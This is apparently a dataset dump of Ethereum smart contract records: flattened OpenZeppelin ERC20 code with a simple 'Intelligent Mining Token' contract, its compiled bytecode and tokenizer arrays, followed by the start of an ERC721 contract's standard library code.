to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: IMTokenUflat.sol // contracts/IMToken.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract IMToken is ERC20 { constructor() public ERC20("Intelligent Mining Token", "IM") { _mint(msg.sender, 90000000000000000000000000); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b610243610687565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610751565b6040518082815260200191505060405180910390f35b610325610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610908565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610926565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a6105936109ad565b84846109b5565b6001905092915050565b6000600254905090565b60006105bb848484610bac565b61067c846105c76109ad565b6106778560405180606001604052806028815260200161102060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6109b5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107476106ab6109ad565b8461074285600160006106bc6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2790919063ffffffff16565b6109b5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b60006108fe6108486109ad565b846108f98560405180606001604052806025815260200161109160259139600160006108726109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6109b5565b6001905092915050565b600061091c6109156109ad565b8484610bac565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061106d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fd86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110486025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fb56023913960400191505060405180910390fd5b610cc3838383610faf565b610d2e81604051806060016040528060268152602001610ffa602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610edf578082015181840152602081019050610ec4565b50505050905090810190601f168015610f0c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600080828401905083811015610fa5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eec396abc9d1d5a58a3b7f2b33a211f64866e2f68d7b3b758b8a16edd52f49c464736f6c63430006000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 24594, 2487, 2094, 2475, 2094, 2692, 2050, 2581, 2063, 22022, 2581, 2581, 2050, 2620, 2050, 2692, 2575, 4402, 2581, 19961, 2546, 2509, 19797, 2620, 2063, 29097, 2692, 2497, 24434, 2629, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,131
0x96429e4af2fac1a1ca6c620588ee9458b88832ec
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value : value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev 